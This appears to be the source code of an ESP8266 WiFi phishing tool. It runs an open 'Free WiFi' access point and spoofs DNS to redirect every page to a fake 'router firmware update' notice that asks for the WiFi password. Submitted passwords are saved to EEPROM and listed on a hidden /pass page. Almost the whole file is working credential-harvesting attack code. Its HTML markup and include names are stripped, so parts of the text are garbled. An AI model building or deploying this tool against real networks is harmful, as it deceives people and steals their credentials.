// ESP8266 WiFi Captive Portal // By 125K (github.com/125K) // Libraries #include #include #include #include // Default SSID name const char* SSID_NAME = "Free WiFi"; // Default main strings #define SUBTITLE "Router info." #define TITLE "Update" #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." #define POST_TITLE "Updating..." #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." #define PASS_TITLE "Passwords" #define CLEAR_TITLE "Cleared" // Init system settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String allPass = ""; String newSSID = ""; String currentSSID = ""; // For storing passwords in EEPROM. int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password. int passEnd = passStart; // Ending location in EEPROM to save password. unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<","<");a.replace(">",">"); a.substring(0,200); return a; } String footer() { return ""; } String header(String t) { String a = String(currentSSID); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "" "" + a + " :: " + t + "" "" "" "" "

" + t + "

"; return h; } String index() { return header(TITLE) + "
" + BODY + "
"+ "
" + footer(); } String posted() { String pass = input("m"); pass = "
  • " + pass + "
  • "; // Adding password in a ordered list. allPass += pass; // Updating the full passwords. // Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i) { EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. } passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(POST_TITLE) + POST_BODY + footer(); } String pass() { return header(PASS_TITLE) + "
      " + allPass + "

    Back to Index

    Clear passwords

    " + footer(); } String ssid() { return header("Change SSID") + "

    Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

    " + "
    "+ "
    " + footer(); } String postedSSID() { String postedSSID = input("s"); newSSID="
  • " + postedSSID + "
  • "; for (int i = 0; i < postedSSID.length(); ++i) { EEPROM.write(i, postedSSID[i]); } EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID); return header("Posted SSID") + newSSID + footer(); } String clear() { allPass = ""; passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0'); EEPROM.commit(); return header(CLEAR_TITLE) + "

    The password list has been reseted.

    Back to Index
    " + footer(); } void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++) { // For blinking the LED. digitalWrite(BUILTIN_LED, counter % 2); delay(500); } } void setup() { // Serial begin Serial.begin(115200); bootTime = lastActivity = millis(); EEPROM.begin(512); delay(10); // Check whether the ESP is running for the first time. String checkValue = "first"; // This will will be set in EEPROM after the first run. for (int i = 0; i < checkValue.length(); ++i) { if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) { // Add "first" in initialCheckLocation. for (int i = 0; i < checkValue.length(); ++i) { EEPROM.write(i + initialCheckLocation, checkValue[i]); } EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit(); break; } } // Read EEPROM SSID String ESSID; int i = 0; while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++; } // Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0') { allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM. } WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); // Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID); // Start webserver dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); // Enable the built-in LED pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }